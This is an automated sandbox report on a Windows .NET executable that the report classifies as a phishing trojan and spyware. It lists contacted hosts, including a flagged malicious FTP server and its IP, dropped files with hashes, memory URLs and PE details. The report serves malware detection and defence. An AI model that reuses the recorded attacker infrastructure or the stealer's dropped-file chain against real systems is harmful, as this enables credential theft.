http://fontfabrik.comB	0%	Avira URL Cloud	safe
http://www.tiro.comsUKAi	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://pki.goog/repo/certs/gtsr1.der04	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.tiro.comWUgA	0%	Avira URL Cloud	safe
http://www.tiro.comEUuA	0%	Avira URL Cloud	safe
http://fontfabrik.comsUKAi	0%	Avira URL Cloud	safe
http://ns.adobe.c/g2A	0%	Avira URL Cloud	safe
http://www.fonts.comcNUlA(	0%	Avira URL Cloud	safe
http://ns.adobe.cobj	0%	URL Reputation	safe
http://crl.pki.goog/gtsr1/gtsr1.crl0W	0%	URL Reputation	safe
http://www.fonts.comicXU	0%	Avira URL Cloud	safe
http://www.carterandcone.comLP	0%	Avira URL Cloud	safe
http://pki.goog/gsr1/gsr1.crt02	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://ftp.badonfashoin.com	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://ns.ado/12A	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.tiro.comcomEUuA	0%	Avira URL Cloud	safe
http://ns.ado/1	0%	URL Reputation	safe
http://pki.goog/repo/certs/gts1c3.der0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.badonfashoin.com	45.141.152.18	true	true	1%, Virustotal, Browse	unknown
www.google.com	142.250.185.196	true	false		high
90.168.9.0.in-addr.arpa	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.adobe.cobj2A	FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://crl.pki.goog/gsr1/gsr1.crl0;	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://crls.pki.goog/gts1c3/moVDfISia2k.crl0	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://fontfabrik.comB	InstallUtil.exe, 00000010.00000003.314578251.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.comsUKAi	InstallUtil.exe, 00000010.00000003.315611989.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp, InstallUtil.exe, 00000010.00000003.315759111.00000000061EB000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp, InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	false		high
http://ns.adobe.c/g	FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	InstallUtil.exe, 00000010.00000003.319806893.00000000061E9000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmln-us	InstallUtil.exe, 00000010.00000003.329177139.000000000620A000.00000004.00000001.sdmp	false		high
http://schema.org/WebPage	FukQGQj7cl.exe, 00000001.00000002.312563898.0000000002ECF000.00000004.00000001.sdmp	false		high
http://pki.goog/repo/certs/gtsr1.der04	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	InstallUtil.exe, 00000010.00000003.314395304.00000000061EB000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersd	InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	false		high
http://whatismyipaddress.com/-	FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	false		high
http://www.galapagosdesign.com/DPlease	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
https://login.yahoo.com/config/login	vbc.exe	false		high
http://www.fonts.com	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.site.com/logs.php	InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	false		high
http://www.urwpp.deDPlease	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.nirsoft.net/	vbc.exe, vbc.exe, 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	false		high
http://www.zhongyicts.com.cn	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comWUgA	InstallUtil.exe, 00000010.00000003.315250712.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.comEUuA	InstallUtil.exe, 00000010.00000003.315478837.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://fontfabrik.comsUKAi	InstallUtil.exe, 00000010.00000003.314280047.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c/g2A	FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	InstallUtil.exe, 00000010.00000003.319415666.00000000061E8000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://www.fonts.comcNUlA(	InstallUtil.exe, 00000010.00000003.313190214.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://ns.adobe.cobj	FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.pki.goog/gtsr1/gtsr1.crl0W	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.comicXU	InstallUtil.exe, 00000010.00000003.313322897.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comLP	InstallUtil.exe, 00000010.00000003.320005338.00000000061E7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pki.goog/gsr1/gsr1.crt02	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
https://pki.goog/repository/0	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://ftp.badonfashoin.com	InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://ns.ado/12A	FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	false		high
http://www.tiro.comcomEUuA	InstallUtil.exe, 00000010.00000003.315832509.00000000061EB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/accounts/servicelogin	vbc.exe	false		high
http://www.fontbureau.com/designers/	InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	false		high
https://www.google.com/	FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp	false		high
http://ns.ado/1	FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://pki.goog/repo/certs/gts1c3.der0	FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.185.196	www.google.com	United States		15169	GOOGLEUS	false
45.141.152.18	ftp.badonfashoin.com	Romania		9009	M247GB	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	462697
Start date:	10.08.2021
Start time:	16:46:06
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 2s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	FukQGQj7cl (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@7/5@3/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 5.2% (good quality ratio 5%) Quality average: 85% Quality standard deviation: 24.2%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 52.182.143.212, 23.211.6.115, 52.168.117.173, 131.253.33.200, 13.107.22.200, 204.79.197.200, 13.107.21.200, 23.211.4.86, 20.82.210.154, 205.185.216.42, 205.185.216.10, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211 Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, onedsblobprdcus15.centralus.cloudapp.azure.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, dual-a-0001.dc-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:47:08	API Interceptor	218x Sleep call for process: FukQGQj7cl.exe modified
16:47:58	API Interceptor	5x Sleep call for process: InstallUtil.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
45.141.152.18	Confirmarea platii.pdf.exe	Get hash	malicious	Browse	alfawood.us/xsclk/index.php
	Confirmarea platii.pdf.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	e-dekont.html.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	Credit Advice -TT6635993652908.PDF.exe	Get hash	malicious	Browse	alfawood.us/mkdgs/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	alfawood.us/xsclk/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php
	e-dekont.html.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php
	Dekont.pdf.exe	Get hash	malicious	Browse	blkgrupdoom.info/scgn/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ftp.badonfashoin.com	New Updated 20210810.doc	Get hash	malicious	Browse	45.141.152.18
	82658.exe	Get hash	malicious	Browse	45.141.152.18
	87597.exe	Get hash	malicious	Browse	45.141.152.18

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
M247GB	New Updated 20210810.doc	Get hash	malicious	Browse	45.141.152.18
	Richiesta di nuove quotazioni (August_2021)_pdf.exe	Get hash	malicious	Browse	195.206.105.10
	qfgP28anog	Get hash	malicious	Browse	196.19.8.214
	j4nJWqkYkI.dll	Get hash	malicious	Browse	83.97.20.174
	Attachment.exe	Get hash	malicious	Browse	5.181.234.138
	PAYMENT_CHECK.PDF.EXE	Get hash	malicious	Browse	217.138.212.57
	DHL_consignment_number#6225954704.exe	Get hash	malicious	Browse	188.72.124.14
	PAYMENT FOR OVERDUE INVOICE.exe	Get hash	malicious	Browse	37.120.210.211
	Paymentcheck.pdf.exe	Get hash	malicious	Browse	217.138.212.57
	kEtjx4XwPd.exe	Get hash	malicious	Browse	37.221.121.20
	w4DEaimFEt	Get hash	malicious	Browse	194.71.126.19
	4A7rphFZrY	Get hash	malicious	Browse	206.127.221.64
	fJn3N6piJM	Get hash	malicious	Browse	45.11.181.37
	1sHut1OhEU	Get hash	malicious	Browse	45.11.181.37
	dIuTSU7cWx	Get hash	malicious	Browse	45.11.181.37
	WVS6wDRacf	Get hash	malicious	Browse	45.11.181.37
	30Bzshze5J	Get hash	malicious	Browse	45.11.181.37
	7D2r6OGZYr	Get hash	malicious	Browse	45.11.181.37
	K2pnt8OlRe	Get hash	malicious	Browse	38.206.34.72
	clip.exe	Get hash	malicious	Browse	185.189.112.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	thgYp9F5Xk.exe	Get hash	malicious	Browse	142.250.185.196
	6tgS8z4nyu.exe	Get hash	malicious	Browse	142.250.185.196
	pago ref210721.exe	Get hash	malicious	Browse	142.250.185.196
	A3Xzw2gfbY.exe	Get hash	malicious	Browse	142.250.185.196
	PO IN-2108,pdf.exe	Get hash	malicious	Browse	142.250.185.196
	sunnyzx.exe	Get hash	malicious	Browse	142.250.185.196
	_RFQ____.EXE	Get hash	malicious	Browse	142.250.185.196
	scan20210805122905.ppam	Get hash	malicious	Browse	142.250.185.196
	URGENT DRAWING AND QUOTATION.ppam	Get hash	malicious	Browse	142.250.185.196
	S010891121011862 pdf.exe	Get hash	malicious	Browse	142.250.185.196
	BANK INFORMATION.exe	Get hash	malicious	Browse	142.250.185.196
	PoC.doc	Get hash	malicious	Browse	142.250.185.196
	PO#578946.arj.exe	Get hash	malicious	Browse	142.250.185.196
	REQUEST FOR QUOTATION - PCIHBV2021MRP2720.exe	Get hash	malicious	Browse	142.250.185.196
	Swift E-Posta Bildirimi.zip.exe	Get hash	malicious	Browse	142.250.185.196
	Payment copy.exe	Get hash	malicious	Browse	142.250.185.196
	xAUiSzJPP1.exe	Get hash	malicious	Browse	142.250.185.196
	HprR7lLOSs.exe	Get hash	malicious	Browse	142.250.185.196
	ZFgurhY9Pk.exe	Get hash	malicious	Browse	142.250.185.196
	ZYJY-2021010007.DBLF0445+446+441.exe	Get hash	malicious	Browse	142.250.185.196

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FukQGQj7cl.exe.log Download File
Process:	C:\Users\user\Desktop\FukQGQj7cl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1214
Entropy (8bit):	5.358666369753595
Encrypted:	false
SSDEEP:	24:ML9E4Ks2pE4KAE4Kx1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7a:MxHKXpHKAHKx1qHxviYHKhQnoPtHoxHe
MD5:	EA89F05C52A783E37251BFDA12B31885
SHA1:	96236E27A69CF5271ACCF849A0F4B7058E037D7E
SHA-256:	1EDA95BE1605ED3ABDAB15126811D528B384A9C02C3E7138CEC1BB5BA54B6BD5
SHA-512:	408E7E41062BC9AE729DAC0CA7652FD8A23618A2E984E59CCA0CD4F0678BE2A4E3DDFAAF956FEC2EE70D7A243C10474727F4F7A5DE7DAFCA61AA6048627BDBC0
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configu

C:\Users\user\AppData\Local\Temp\InstallUtil.exe Download File
Process:	C:\Users\user\Desktop\FukQGQj7cl.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41064
Entropy (8bit):	6.164873449128079
Encrypted:	false
SSDEEP:	384:FtpFVLK0MsihB9VKS7xdgE7KJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+sPZTd:ZBMs2SqdD86Iq8gZZFyViML3an
MD5:	EFEC8C379D165E3F33B536739AEE26A3
SHA1:	C875908ACBA5CAC1E0B40F06A83F0F156A2640FA
SHA-256:	46DEE184523A584E56DF93389F81992911A1BA6B1F05AD7D803C6AB1450E18CB
SHA-512:	497847EC115D9AF78899E6DC20EC32A60B16954F83CF5169A23DD3F1459CB632DAC95417BD898FD1895C9FE2262FCBF7838FCF6919FB3B851A0557FBE07CCFFA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Z.Z..............0..T...........r... ........@.. ....................................`.................................4r..O....................b..h>...........p............................................... ............... ..H............text....R... ...T.................. ..`.rsrc................V..............@..@.reloc...............`..............@..B................hr......H........"..\|J..........lm.......o......................................2~.....o.....r...p(....VrK..p(....s...........0..........(....(....o....o....(....o.... .....T(....o....(....o....o ...o!....4(....o....(....o....o ...o".....(....rm..ps#...o....($........(%....o&....ry..p......%.r...p.%.(.....(....('....((.......o)...('........................."..(.....{Q...-...}Q.....(+...(....(,....(+..."..(-.....(......(.....r...p.(/...o0...s....}T...*....0.. .......~S...-.s

C:\Users\user\AppData\Local\Temp\holderwb.txt Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
File Type:	Little-endian UTF-16 Unicode text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Reputation:	unknown
Preview:	..

C:\Users\user\AppData\Roaming\pid.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Pn:P
MD5:	7A7C6A5B2F18E21E23049634CEC06C68
SHA1:	1E4F45AEC983B6E26F4EDA228E05D4E16CE1E225
SHA-256:	2FE704A610323B1C0F3375DBEAEE0FA1067FDE32D0130E24D44A4BEFDCA9679E
SHA-512:	9FF4DD011E511B7C0BFB3CC118EB18D50DE8DF117F1DD3CFE6147450FCC300F4B00138DBE33BE1F7D2D817CCE44A78B8FFCFDA10F757E2D478601BD6EA67495C
Malicious:	false
Reputation:	unknown
Preview:	6284

C:\Users\user\AppData\Roaming\pidloc.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	49
Entropy (8bit):	4.361973558701858
Encrypted:	false
SSDEEP:	3:oNWXp5cViE2J5xAIOWRxRI0dAn:oNWXp+N23f5RndA
MD5:	8069A620598F6D0795A045BC4C040FCE
SHA1:	BE6C7D1B6E3A49925674F335C601A53E985A2496
SHA-256:	85E54950497C2B5262439CC09BB7E0779225EAFF0C50B75D59DECE689F2B0625
SHA-512:	D9AB55D7A597CB3DB20E069AA4893654C7033E42738AD5CF3AA489C5745E3D85CBAD12530542241CD2133C52E108368AA5DB7255692177745A1EEAAFB3398306
Malicious:	false
Reputation:	unknown
Preview:	C:\Users\user\AppData\Local\Temp\InstallUtil.exe

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.577327226998129
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	FukQGQj7cl.exe
File size:	1245696
MD5:	83f58ecf0778e3b0acca8497df23ef23
SHA1:	a2123e816fcd387873272e022220fbc05b96d392
SHA256:	437fae5aa2cad8ddb1fe3e316afdc6a1fdd2676084131fdc082ffdc8a53f066d
SHA512:	aa80d30c7f4234dfd26170b7817788dbdda9c02897d0ac788c253d815a14f444df8dce47c59b05875821f196cb3571de4ec584689059c1a86b7f64f504bf4a63
SSDEEP:	24576:yVwq/EUmGq/wKgDyT/vcKcPw+U6kulaoS18PNMnDbMZ:yVw8lq/wK4wcKcPrXIIN6P
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......6................................. ... ....@.. .......................`............`................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x53179e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x36E3D1D7 [Mon Mar 8 13:34:15 1999 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
